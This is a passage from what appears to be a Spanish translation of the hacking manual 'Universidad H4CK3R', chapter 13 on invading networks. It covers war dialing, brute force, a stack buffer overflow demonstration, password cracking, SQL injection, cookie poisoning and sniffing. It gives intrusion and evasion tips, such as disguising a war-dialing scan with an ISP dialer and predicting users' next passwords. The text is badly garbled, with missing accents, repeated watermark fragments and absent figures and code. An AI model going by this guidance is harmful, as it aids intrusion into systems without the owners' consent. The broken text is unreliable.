razonar y ver cmo funcionan las cosas. As que en lugar de darle un pez o ensearle a
pescar, hemos decidido solo ensearle el lago. Las caas de pescar estn ah. Ponga a
trabajar la cabeza, las manos en la masa, y aprender un poco solo!
Las direcciones de las dos "caas de pescar" ms famosas se encuentran abajo.
Estdielas a fondo, lea todos sus documentos y busque ms informacin en Internet. En
caso de duda, pregunte! Existen muchos grupos de discusin sobre redes con personas
dispuestas a ayudar - puede encontrar la direccin de algunos, en los captulos de Redes.
Si usted busca bien, ver que puede leer y aprender mucho, antes de meter los dedos en
el teclado para escavar en los agujeros de alguien (sin juego de palabras, por favor!).
- Nessus: www.nessus.org
- Gherkin: www.altmode.com/gherkin/
204
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
205
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Ataque, defensa y
contraataque
Invasin
Capitulo - 13
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
"Por qu entr el perro en la iglesia"? Ante esta pregunta con trampa, la mayora de la
gente, despus de "pensar" un poco, dispara las respuestas ms absurdas e
incongruentes que el ser humano puede ser capaz de concebir. "Porque lo llamo el cura."
"Porque los ngeles le llevan a la plenitud espiritual." "Porque escuch la llamada de Ala
para destruir el templo de los infieles idlatras." "Porque l quera." "Por qu s". "Porque
haba mercado y ola a salchichas." "Porque estaba en el regazo de la dama." "Ah, va a
probar, hermano!" Pero la respuesta correcta es la ms sencilla y ms lgica de todas. El
perro entr en el edificio porque la puerta estaba abierta.
A partir de este punto sobrepasamos los lmites. La ley brasilea no reconoce el acceso a
los sistemas que estn abiertos a Internet como una invasin, tal como entrar en un
centro comercial no es una invasin: las puertas estn abiertas para ello.
Segn la ley de EE.UU., sin embargo, este tipo de invasin (de los sistemas y centros
comerciales) es considerado invasin de la propiedad. Si usted no es bienvenido en un
sistema puede ser procesado por entrar. Si no es bienvenido en un centro comercial,
tambin puede serlo!. Por lo menos hay un caso, divulgado por la prensa de un ciudadano
de los EE.UU. procesado por invasin de propiedad por estar en el rea pblica de un
centro comercial. Me explico: el estaba con una camiseta pacifista (la frase exacta era
"Give Peace A Chance" de John Lennon) y la seguridad del centro comercial le pidi que
se quitase la camiseta o saliese del edificio. Como se neg a ambos, fue arrestado y
procesado. Home of the free...
Atencin, por lo tanto, cuando los sistemas a invadir estn geogrficamente instalados all
o las empresas pertenezcan a ese pas. Usted ser procesado por las leyes de all, y es
probable que sea extraditado. Hacking = Terrorismo = Cadena perpetua
Ya estas avisado, vale?
La invasin en etapas
As como hemos dividido nuestro ataque en seis etapas diferentes, de cuatro pasos - la
invasin - se pueden dividir en dos etapas.
El primer paso es el acceso a un host de red. Como vimos en los captulos de redes, las
redes internas de las empresas no suelen utilizar los nmeros de IP enrutables a travs
de Internet. As que primero tenemos que invadir un equipo limtrofe que tenga dos
interfaces de red y, por tanto, sirva a ambas. Por lo general, es el propio firewall, o un
proxy, pero es posible, que errores de configuracin o descuido puedan dejar otros
sistemas abiertos.
Para el primer paso, se pueden emplear un nmero limitado de tcnicas. Entre ellas, la
demanda de los mdems de aceptar conexiones externas (war dialing) y la exploracin de
los fallos especficos a travs de exploits. Tenga en cuenta que no se dirigen a ningn
sistema en particular. Los hackers pueden apuntar sus miras tanto a servidores como a
estaciones de trabajo y hasta componentes de bastidor, tales como routers y similares!
El segundo paso es ms trabajoso que difcil. Una vez conseguido el acceso a la red
interna, se pasa a la invasin sistemtica de los equipos dentro de la red. Este paso
consiste en romper contraseas y acceder a reas restringidas, incluso para los que estn
207
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
dentro. Nosotros decimos que es trabajoso porque, una vez dentro, cada uno de los
sistemas autnomos a disposicin de los usuarios internos exige toda esa metodologa
que hemos visto: planificacin, observacin, seguimiento, invasin, mantenimiento y
evasin. Y no se olvide: microataques varios 1-2-1-3-1-4-1-5-1-6-1 ... Siempre corrija y
ajuste sus planes! Las cosas cambian, cambian los datos, los administradores y usted
siempre dispondr de nueva informacin. Si quieres el xito, a organizarse!
Y si usted es un Lammer, no tiene nada que hacer aqu, ya que no te importa aprender
nada. Vete a jugar con los exploits publicados y permite a los profesionales trabajar!
War Dialing + Fuerza bruta
Redes configuradas correctamente, permiten el acceso nicamente a puntos muy
especficos y controladsimos, por lo general una nica conexin a Internet. Las grandes
empresas tienen varios enlaces, pero todos ellos son (o deberan ser) controlados y
supervisados de forma rigurosa. Sin embargo, algunos empleados "inteligentes" intentan
eludir el acceso lento o los controles a sitios no autorizados, con acceso telefnico o
ADSL, conectado directamente sus estaciones. Estos empleados no son conscientes del
peligro real que representa esta prctica, las conexiones estn completamente
desprotegidas y una vez con acceso a estas conexiones, el atacante ya est dentro de la
red, y puede quemar las diversas etapas de su invasin.
En otras ocasiones, la propia empresa necesita proporcionar acceso telefnico a sus
empleados viajeros o a las personas que trabajan desde casa. Para ello, tienen una
batera de de modems y docenas de nmeros de telfono disponibles para las llamadas
entrantes y las conexiones. Un plato servido para los hackers!.
S, si, no iba a dejar de comentar que el trmino War Dialing fue acuado en la pelcula
Juegos de Guerra en el ao 1983 en la que Matthew Broderick marcaba todos los
nmeros que poda a travs de mdems libres. Pero es probable que ya lo sepa. Si no,
vaya a su videoclub y pregunte por la pelcula Juegos de Guerra. Si no es una pelcula
excelente, al menos las referencias tecnolgicas son correctas - en, por supuesto, los
lmites de la precisin de Hollywood.
- Conozca sus armas
War dialing es la guerra. Si usted es un soldado va a la guerra y no toma su espada, esta
apaado! Las herramientas utilizadas por los war dialers son llamados, por lo general ...
war dialers. Una bsqueda en Google traera varios sitios con estas herramientas, la
mayora gratuitas, de cdigo abierto y libres.
Recomendamos especialmente, entre ellas, el THC Scan (www.thc.org). Es la
herramienta N 1 de los war dialers. Fue desarrollada para DOS, pero puede ser utilizada
en Unix con emuladores como dosemu.
Si quieres echar un vistazo a cmo empezaron las cosas, busca por Demon Dialer o por
ToneLoc. Son herramientas similares a los que los phreakers utilizaban en la poca de
la pelcula de Broderick, incluida su propia make-up de la escena.
Para Unix, adems de THC + Dosemu algunos nativos como WARD, o joyas como
Jeric y ShockDial ambos disponibles en www.securityfocus.com/tools/category/26.
208
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Hay tambin muchos war dialers comerciales, diseados para permitir a las empresas
probar sus instalaciones en busca de mdems perdidos. Uno de los ms completos es el
Phone Sweep (www.sandstorm.net). Ms all de la excelencia del software, la compaa
promete suscripcin de consultora y de apoyo (con una cuota mensual).
Una lista de equipos vulnerables conocidos y detectables por Phone Sweep se puede
encontrar en www.sandstorm.net/products/phonesweep/sysids.shtml. Otra opcin es
TeleSweep de Securelogic. Ms informacin telesweepsecure.Securelogix.com.
Nuestra recomendacin: Descargar, instalar y jugar con, al menos, las herramientas
gratuitas que figuran en esta lista. Usted encontrar que en esta poca de ADSL y cable
mdem, todava hay muchos mdems de acceso telefnico para recibir llamadas, sobre
todo en negocios.
Otro consejo: Puede utilizar los marcadores de los ISP como war dialers improvisados! La
mayora de ellos tienen un archivo externo con una lista de nmeros de telfono para la
conexin. Slo tiene que sustituir la lista por una especialmente creada, y consigue un war
dialer instantneamente, incluso con rellamada automtica y escaneo de todos los
nmeros de la lista. Descargue los marcadores de todos los proveedores que usted
recuerde y verifiquelo. Este truco es muy til cuando se utiliza un computadora como
marcador y no quiere levantar sospechas con programas especializados. Un escaneo de
THC levantara sospechas en el ordenador de su to, pero los marcadores de iG (o Terra,
iBest, UOL o AOL ...) pasan desapercibidos, especialmente si su to es abonado de estos
proveedores.
- Ah, la fuerza bruta es tan hermosa.
Seguro, que encontr nmeros telfono que tienen mdems para contestar las llamadas
entrantes. Pero ahora, qu hacer con ellos? Ahora entra en juego otro tipo de war dialer,
en vez de volver a escanear los nmeros de mdems, hace numerosos intentos para
209
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
celda de datos tendrn que retirarse antes los primeros datos. Esto trae dificultades
adicionales para el programa, que tiene que "dar forma" a la gestin de los datos de la pila
correctamente. Sin embargo, hay aplicaciones en las que este enfoque es el mejor. Por
ejemplo, supongamos que queremos hacer un programa que hace una suma de tres
valores. La forma ms simple de tal programa sera:
1. Llame a la funcin suma (a, b);
2. Obtiene el primer nmero y lo entrega a la funcin suma;
3. Obtiene el segundo nmero y lo entrega a la funcin suma;
4. Coloca el resultado en la pila;
5. Llame a la funcin suma (a, b);
6. Obtiene el tercer nmero y lo entrega a la funcin suma;
7. Extrae la parte superior de la pila y la entrega la funcin suma;
8. Suma (a, b) hace la operacin y arroja el resultado en la salida.
Observe que el resultado de la primera suma se almacena en la pila, en espera de ser
llamado de nuevo al flujo normal del programa. Esta solucin, implicando posiciones de
memoria, exigira funciones para reservar memoria para tres variables, envo y
recuperacin triplicada de datos y, posiblemente, una funcin suma ms compleja.
Este ejemplo es didctico, pero dista de ser ideal. Veamos un pequeo programa en C.
Debe funcionar de forma idntica en cualquier plataforma, ya que utiliza las bibliotecas
especficas.
212
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
funcao_idiota () llama a una funcin, creada por nosotros mismos, y declarada en el inicio
del programa. En la lnea siguiente, return 0, muestra que el programa debe terminar en
esa lnea y volver a el shell que lo llam.
Tenemos que definir funcao_idiota () antes de que pueda ser utilizada. Entonces, vamos a
ella! void funcao_idiota (void)
La funcin es, ms o menos, una subrutina que se puede utilizar varias veces dentro del
programa. En nuestro "main ()", la usamos una sola vez, pero podramos, si quisiramos,
usarla en varios lugares del cdigo. Lo que hace esta idiotez es: 1) crear una variable
llamada xuxu con un tamao de 5 bytes, 2) utilizar la funcin gets () de C para obtener los
caracteres del teclado y los arroja en la variable xuxu, 3) utiliza la funcin printf () para
reproducir en el resultado en la pantalla.
Si ests en una mquina Unix, puedes compilar el programa y probarlo. En la mayora de
los sistemas, utiliza el comando:
$ cc -o idiota idiota.c
Siendo idiota.c el archivo de texto que contiene el cdigo del programa e idiota el archivo
ejecutable generado por el compilador cc. En Linux y FreeBSD usa gcc en vez de cc.
Para ejecutar el programa, escriba:
$. /idiota
Al parecer, no pasa nada. Pruebe a escribir una carcter y pulse <Enter>. El carcter se
repetir en la pantalla. Eso es lo que hace el programa.
En una mquina DOS o Windows, el procedimiento es parecido. Puedes buscar algn
compilador de lnea de comandos. Prueba TODOS y elige tu favorito!
Volvamos a nuestro del programa. Cuando el main () llama a funcao_idiota (), el
procesamiento del programa principal es interrumpido y desviado a la funcin. Cuando la
funcin termina su procesamiento, vuelve a la rutina principal.
Mira el cdigo de nuevo, esta vez con el flujo de procesamiento indicado por las flechas:
213
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Principio de la Memoria
Datos anteriores de la pila
Datos de main ()
Puntero de retorno
Puntero de pila
Datos de la funcin idiota () (es decir, la
variable xuxu)
Sentido de empilamiento
Pero no era una pila?, Porque est al revs? Bueno, por lo general las pilas se
almacenan de arriba a abajo, estando los datos ms antiguos en la posicin ms alta de
la memoria y la pila creciendo en direccin a la posicin ms baja. Piense en ello como
una pila de monedas hechas en el techo hacia el suelo. Usted puede tener que utilizar
pegamento para sostener las monedas, pero sigue siendo una pila.
Como hemos dicho, los datos de main () se reproducen en la pila. Tenga en cuenta que
no tiene necesariamente que estar vaca y puede contener, por ejemplo, los datos del
shell o de la ventana donde el programa fue llamado. Despus de main () tambin se
almacena en la pila un puntero, llamado puntero de direccin de retorno o return address
pointer. Es l quien indica al proceso donde encontrar la siguiente instruccin despus del
desvo (dnde estaba?). En nuestro caso particular, el return pointer guarda la direccin
de memoria donde reside la instruccin return 0.
Despus del puntero de retorno, el sistema coloca un puntero de pila, que apunta a una
tabla con datos de control sobre la propia pila - que por supuesto el lector entiende hace
falta. Por ltimo, van los datos temporales de nuestra funcin secundaria, llamada por
main (). En nuestro caso, es la variable xuxu, creada por nuestra funcin function_idiota ().
Cuando la funcin secundaria completa su procesamiento, sus datos se extraen de la pila,
despus el puntero de control de pila y, despus el puntero de la direccin de retorno.
Cuando el procesamiento vuelve a su posicin original, los datos de main se extraen de la
pila y todo vuelve a ser como era antes. En serio?
- Debug is on the table
Recordemos los detalles vistos en los dos prrafos anteriores. El segundo estoy seguro
de que fue asimilado por el lector como una curiosidad, el primero debe haber pasado
desapercibido:
1. La variable xuxu fue definida como que contiene slo cinco bytes;
2. La pila almacena los datos de abajo hacia arriba.
Por aquel entonces probamos nuestro programa as:
214
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
$. / idiota
a
a
$
Cuando lleg a la funcin de el procesamiento gets (), escribimos la letra "a". La funcin
gets () puso "a" en la variable xuxu, que fue impresa en la siguiente fila por printf ().
Recuerde que xuxu tiene un tamao de slo cinco bytes. Qu pasa si nos pasamos de
cinco?
... Vale, lo intentamos con cinco letras "A", la salida fue AAAAA Con seis AAAAAA Con
siete AAAAAAA Con ocho, sucedi algo interesante:
$
. / idiota
AAAAAAAA
AAAAAAAA
Fallo de segmentacin (core dumped)
$
Fallo de segmentacin! El programa fracas y gener un informe de errores con el
contenido de la memoria, grabado en el archivo core. Qu fue lo que paso? Recordemos
ahora la pila. El espacio para nuestra variable xuxu (que llamamos buffer) era de 5 bytes definido por nosotros mismos (char xuxu [5]). Cada caracter ocupa un byte, por lo que 5
caracteres llenan el bfer. Pero el sistema no tiene ningn mecanismo para comprobarlo ,
o mejor dicho, el lenguaje C no lo tiene. Por lo tanto si ponemos ms de 6 caracteres en el
bfer, habr desbordamiento. Los datos de ms se escribirn sobre alguna de las otras
cosas (por lo general algo muy importante ...).
Ahora, el segundo detalle. La pila se almacena hacia arriba. As que si nos fijamos en la
representacin grfica que hemos hecho, te dars cuenta de que el sexto carcter se
escribir sobre el puntero de pila!
El puntero de pila tiene un nmero de bytes (el tamao es variable) y el de retorno, 4
bytes. Por eso, cuando escribimos 6 o 7 caracteres, no pasa nada - estamos
sobrescribiendo el puntero de pila, en una regin que no nos afecta de inmediato. Tras
el octavo carcter tenemos un problema inmediato: estamos sobrescribiendo una zona
importante del puntero de pila.
Si avanzamos un poco ms, alrededor la caracter decimocuarto o dcimoquinto
llegaremos al puntero de retorno !!!!! Ahora, el primer byte de la direccin de retorno no
ser la direccin original, ser el valor hexadecimal del carcter que escribimos! Si es A,
por ejemplo, el valor hexadecimal sera 41h. Vamos a depurar nuestro programa usando
un gdb, un depurador GNU - para DOS, busque una herramienta adecuada (como un
debug), o use la mquina Linux de nuestra red de prueba. Primero, ejecutamos nuestro
programa y generamos un core dump con muchas "A" s:
$. / idiota
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Fallo de segmentacin (core dumped)
$
215
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
call
0x8048430
<funcao_idiota>
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
demasiado en las entraas de ningn ensamblador. Para empezar un texto bueno para
los principiantes en desbordamientos buffer es: www.mixter.void.ru/exploit.html. Para
obtener ms informacin recomiendo la lectura de los documentos tcnicos Fatal 3rror
(struck.8m.com/G), el excelente texto sobre los desbordamientos de buffer en Windows
de Dark Spyrit (community.core-sdi.com/-julianolbufo.html) y el estudio que comenz todo:
"Smashing the stack for fun and profit", del legendario Alephl publicado en la edicin 49
del ezine Phrak en 1996 y disponible en lnea en www.insecure.org/STF/smashstack.txt.
Otro documento de trabajo digno de nota: cmo explotar servicios avanzados con
desbordamientos de pila, va mucho ms all de la obtencin de un shell. Taeho Oh
muestra en postech.edu/-ohhara (o, alternativamente ohhara.sarang.net/security/adv.txt)
como atravesar los firewalls basados en filtros de paquetes, abrir sockets (y por lo tanto,
puertas traseras) en el propio exploit y librarse de la prisin chroot. (Chroot es, simplificando
la definicin, una forma de "enjaular" una aplicacin que requiera derechos de superusuario para funcionar.
Normalmente, la aplicacin se instala en un directorio que tiene una copia del sistema de archivos del
sistema operativo, pero no es el sistema de archivos real. En este falso ambiente, la aplicacin se ejecuta
con pseudo-derechos de "root", que slo son vlidos dentro del entorno. La aplicacin est feliz de ser
engaada y funciona perfectamente. Si un hacker entra en la mquina a travs de un desbordamiento de
bfer de la aplicacin en "chroot", conseguir, como mximo, el mismo superusuario falso que utiliza la
aplicacin).
Hasta el momento, invadimos una sola mquina. Ok, es posible que hayas invadido
muchas, incluso diez o quince de ellas, pero aun no has investigado cmo funciona un
entorno de red. O peor an, consigues un shell restringido y no puedes hacer muchas
cosas! Encontramos dos ejemplos clsicos en las pginas precedentes: el servidor web
Apache (que corre en modo de usuario nobody) y aplicaciones que se ejecutan en el
entorno chroot.
Tomemos Apache: usted aplic un exploit en l y consigui un shell. Slo que, en este
shell, el usuario que est conectado es el nobody - un usuario especial creado
precisamente para no dar poderes especiales a posibles intrusos. Como Apache no
necesita poderes especiales para funcionar, slo tener acceso a sus propios archivos,
todo va viento en popa. Un Script kiddie entra por buffer overflow, tiene acceso a un shell
de nobody,solo puede, quizs, sobrescribir alguna pgina HTML. No tiene acceso a la
219
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
se detalla aqu. La siguiente figura muestra un proceso de craqueo en curso, con algunas
contraseas ya descubiertas:
Nota: como hemos visto en los captulos sobre las vulnerabilidades, las cuentas en WinNT
se almacenan en dos hashes: uno para el antiguo LAN Manager y otro con la contrasea
ms fuerte de NT. Adems de que el Hash LM es ms fcil de romper, por lo general los
usuarios utilizan la misma contrasea a nivel local (NTLM). El mismo LC4 lo sabe, y una
vez conseguida el contrasea de LM, interrumpe la fuerza bruta, e intenta la misma
contrasea en el NT. Como se puede ver en la imagen, varias contraseas ya se han
descubierto y, en este ejemplo, todas son iguales en ambos campos. Parece que al
usuario shennesy le gusta serie de Star Trek y al usuario djattan no parece muy feliz con
su lugar de trabajo - con un poco de ingeniera social, el hacker no tiene ni siquiera que
usar el LC4. El usuario invitado no tiene contrasea (glup!).
La figura anterior fue extrada de un estudio realizado por Dan Smith, de la Universidad de
Carolina del Norte, EE.UU., y se puede encontrar en www.unc.edu/smithdr/inls187/sr.html.
El estudio, ademas de analizar el software aporta datos sobre el tiempo para crackear
contraseas de todo tipo, dbiles o tericamente seguras.
Por ltimo (paso 3), comprobar todas las contraseas que consigui en el sistema
invadido. Es posible que algunas estn cambiadas, pero usted sabe ya, al menos los
nombres de usuarios vlidos y los patrones que utilizan para preparar sus contraseas.
Por ejemplo, la cuenta Administrador mostrada posea una contrasea, BARNABAS09 .
Las probabilidades son entre el 80% y el 90% de que en los prximos meses, sea
BARNABAS10, BARNABAS11 ... Creo que lector ya "pesc"el mecanismo!
223
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
contraseas en bancos o nmeros de tarjetas de crdito. O desviar el trfico para que los
usuarios se dirijan a trampas o sitios web falsos.
En esta seccin se presenta una breve descripcin de estos tipos de ataques, con
enlaces a sitios con ms informacin.
- War Driving y War Chalking
Una de las formas ms nuevas de invasin corporativa es la guerra de direccionamiento.
Los hackers salen por las calles de la ciudad con soluciones alternativas hechas de latas
de las patatas fritas, arandelas y algunos cables y capturan conexiones de red
inalmbricas con "fugas". Como las empresas no suelen cifrar sus conexiones internas,
una conexin inalmbrica de ese tipo proporciona acceso ilimitado, similar al conseguido
si el atacante entra por la puerta principal y enchufa un cable al conector de su porttil y a
un enchufe de la red de la empresa.
El tema es relativamente nuevo y merece un estudio mucho ms profundo que lo que
permitira este libro. Por otra parte, se requerira un libro entero sobre l tema. Una
excelente fuente de informacin y recursos (tutoriales, equipos, sistemas de antena incluidos los de fabricacin casera) es www.wardriving.com. Un esquema sencillo de
antena, construida con el mtico tubo de los chips de patatas Pringles, se pueden
encontrar en www.oreillynet.com/cs/weblog/view/wlg/448.
Hackers europeos han ido ms all y han creado la Guerra de marcar con tiza - un
alfabeto especial para marcar con tiza los puntos de acceso en la acera (posicin
orientacin de la antena) para una mejor conexin a las redes ajenas. Aprenda ms sobre
las tcnicas utilizadas en el sitio oficial: www.warchalking.org (o, alternativamente,
www.warchalking.us). Este sitio cuenta con informacin tcnica, tutoras, clubes, muchos
enlaces a otros recursos. El sitio www.blackbeltjones.com tambin tiene varias
caractersticas. Un artculo sobre el tema se encuentra en la Meca del wireless, 802.11
Planet (www.80211-planet.com/columns/article.php/140240n.
- Ms all de la inyeccin de SQL
En nuestro segundo estudio de vulnerabilidades, vimos formas sencillas para engaar al
script de la pgina (ya sea en ASP, PHP, ColdFusion o algunos CGI) e inyectar en l
modificaciones en la consulta asociada al servidor SQL. Pero hay otras maneras de jugar
con los sistemas basados en la Web.
La primera y ms inmediata consiste en observar y manipular los datos en la propia URL.
Muchos de los sistemas en lnea contienen informacin valiosa en estos campos despus
de la direccin HTTP (trabajo principal: investigacin de la HTML mtodos GET y POST).
Peinar una URL grande para entender cmo funciona el sistema es el primer paso para
entrar en este sistema. Sitios de bancos, tiendas e incluso sitios web del gobierno usan la
URL como transporte de datos de clientes sin preocuparse por el hecho de que contienen
informacin visible por cualquier usuario de la red.
Un ejemplo notorio de esto fueron las vulnerabilidades detectadas hace unos aos en
Hotmail (www.hotmail.com). en que los identificadores de sesin, los nombres de usuario
y los hashes de contraseas estaban presentes en la propia URL. Hoy Hotmail ya no
225
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
padece ms de este mal, pero durante muchos aos fue una laguna muy fcil de explotar.
Preste atencin, incluso en sitios que utilizan las llamadas ODBC y no SQL. Sistemas
100% Microsoft tienden a favorecer el protocolo inseguro ODBC para el acceso a bases
de datos Access y SQL Server.
Algunos enlaces para la investigacin sobre la inyeccin de SQL son:
- www.securiteam.com/securityreviews/5DPONlP76E.html
- www.online.securityfocus.com/infocus/1644
- www.sqlsecurity.com/DesktopDefault.aspx?tabindex=2&tabid
- www.nextgenss.com/papers/advanced.sql.injection.pdf
- www.spidynamics.com/papers/SQLIniectionWhitePaper.pdf
Otro mtodo es el envenenamiento de cookies, una manera de manipular la autenticacin
a travs de Internet. Casi todos los sitios hoy en da se sirven de cookies para controlar el
acceso a las sesiones. Cambiar UserID y SessionID en una cookie puede ser un atajo
para entrar en las cuentas de otros usuarios.
Es ms difcil encontrar recursos de el envenenamiento de cookies en Internet. Le
proponemos los siguientes recursos:
- White paper: Hacking web applications using cookie poisoning
www.allasso.pt/base/docs/11042206054.pdf.
- Buscar por la palabra clave cookie en Security Focus (www.securityfocus.com).
Dos programas que funcionan como proxys basados en un escritorio, y pueden utilizarse
para facilitar el manejo de cookies (y tambin las cabeceras HTTP!): son el Aquiles y el
BrowseGate. La empresa que fabrica Aquiles (DigiZen Security Group - www.digizensecurity.com) parece que ha cancelado el sitio Web, pero las descripciones de los
productos se pueden encontrar en Packetstorm (packetstormsecurity.nl/filedesc/achilles-027.zip.html) y de SecuriTeam.com (www.securiteam.com/tools/6L00R200KA.html).
El BrowseGate desarrollado por NetCPlus (www.browsegate.html/netcplus.com/) es otra
opcin de servidor proxy que se puede utilizar de forma perjudicial para manipular cookies
de autenticacin en pginas web. Hay una resea del mismo en www.webattack.com/
etlbrowsegate.shtml.
Para todos los problemas enumerados, las posibles soluciones se pueden encontrar en el
sitio oficial de la seguridad en sistemas web: www.owasp.org.
- Husmeando en la red (Sniffing)
Otra forma de acceder a una red, despus de "Invadir" una de las mquinas
pertenecientes a la misma, es pasar a "escuchar" lo que se mueve dentro de esa red. Los
programas que hacen este tipo de trabajo sucio se denominan sniffers o rastreadores.
Un sniffer trabaja en la capa 2 de nuestro modelo de referencia OSI. Esto significa que es
imposible hacer un sniffing directamente a travs de Internet en una red distante. Es
necesario que el atacante instale y ejecute el sniffer en una mquina perteneciente a la
red local que quiera rastrear.
El objetivo ms inmediato de un atacante cuando instala un sniffer es encontrar las
226
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
En la prctica, puesto que la inmensa mayora de los gateways conectan su red interna
con la conexin a Internet, el atacante tiene a su disposicin tanto su conjunto potencial
de contraseas, como la informacin confidencial, correo electrnico, contraseas y
tarjetas de crdito que entran y salen de su empresa. Imagnese, un escenario an ms
siniestro, un hacker que coloc un sniffer en un gateway que conecta a su empresa a su
sitio de comercio electrnico, o al proveedor de tarjetas de crdito, o a sus asociados, o al
banco. Mortal!
El primer paso cuando se olfatea una red es poner la interfaz de red de una mquina en
modo promiscuo. Como vimos en los captulos Redes I y II , cuando un paquete IP llega
227
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
a una red, el interface que contiene el paquete pregunta: "Cul es la direccin MAC que
contiene la direccin IP de ese paquete? El equipo de destino responde con su direccin
MAC y el paquete es enviado a ella. Esto se denomina protocolo ARP.
"Enviado a ella," como est escrito en el prrafo anterior, es un poco engaoso (o, como
o decir a un pastor luterano, es una "exageracin de la verdad"). El paquete esta, en
realidad, jugando en el bus y todas las interfaces lo pueden leer. Lo que pasa es que las
interfaces hacen "odos sordos" al paquete si no est dirigido a ellas. Slo la mquina a la
que realmente se destina "presta atencin" a lo que est viajando en la red. Los dems
simplemente lo ignoran.
Aqu es donde entra en juego el "modo promiscuo". Una interfaz configurada de esta
forma "escucha" TODOS los paquetes que se transmiten por la red, no slo los
destinados a ella. Si esto es un facilitador para la aplicacin de herramientas de
monitorizacin de red - algo que todo administrador competente debera utilizar - tambin
permite que alguien con malas intenciones, fcilmente escuche lo que no debera.
Para poner una interfaz de red en modo promiscuo, debe tener acceso privilegiado al
sistema operativo - es decir, root en un sistema Unix, administrator en un sistema
WinNT o admin en un Novell NetWare. Por lo tanto, es imperativo invadir completamente
por lo menos una mquina de la red (como se explica ms arriba) para que podamos
hacer una "cosecha" despus. Hay varias maneras de poner una interfaz de red en modo
promiscuo. Hay programas especiales para esto en cualquier plataforma e incluso son
posibles algunos trucos del sistema operativo (sea Windows, Novell, HP-UX ...) sin la
ayuda de ningn programa externo.
Cada sistema operativo tiene una herramienta que muestra el estado y cambia la
configuracin de su adaptador de red. Tomando como ejemplo una distribucin de
GNU/Linux, el comando que lo hace para nosotros es el ifconfig. Escrito (como root) sin
argumentos, el comando muestra el estado de todas las interfaces de red. Escrito seguido
del nombre de una interfaz, muestra el estado actual de esa interfaz. Por ejemplo, para
saber cmo le va a la primera interface de red (eth0), el comando sera:
# ifconfig eth0
El resultado seria:
Encapsulamiento de Link:Direccion de Ethernet HW 00:08:74:B5:64:95
inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Mtrica:1
RX packets:13567 errors:O dropped:O overruns:1 frame:O
TX packets:8300 errors:O dropped:O overruns:O carrier:O
colisiones:0
RX bytes:3163776 (3.0 Mb)
TX bytes:994079 (970.7 Kb)
Observe la informacin visualizada. Usted sabe, por este comando, que la encapsulacin
del link (es decir, la capa 2 el protocolo) es Ethernet, que el MAC es 00-08-74-B5-64-95,
que la direccin de red es 192.168. 1.11, que el tamao mximo del paquete Ethernet
(MTU) es de 1.500 bytes, etc ... Tambin hay algunos flags que indican si el interfaz est
listo o "en pie" (DP), si se est ejecutando (RUNNING) y si responde a broadcast o
228
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
229
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Una red con un switch en lugar de un hub, ademas de controlar y reducir el trfico,
tambin ofrece mayor seguridad a la red, ya que un sniffer instalado, por ejemplo, en D no
podra escuchar nada de las conversaciones entre A y B o C y E. Entonces, el uso de
bridges y switches, minimiza el problema de los rastreadores de paquetes, verdad?
Lamentablemente, una vez ms, la respuesta es no ...
- Sniffing activo
Un switch o un bridge tiene una tabla que relaciona las direcciones MAC que "escucha"
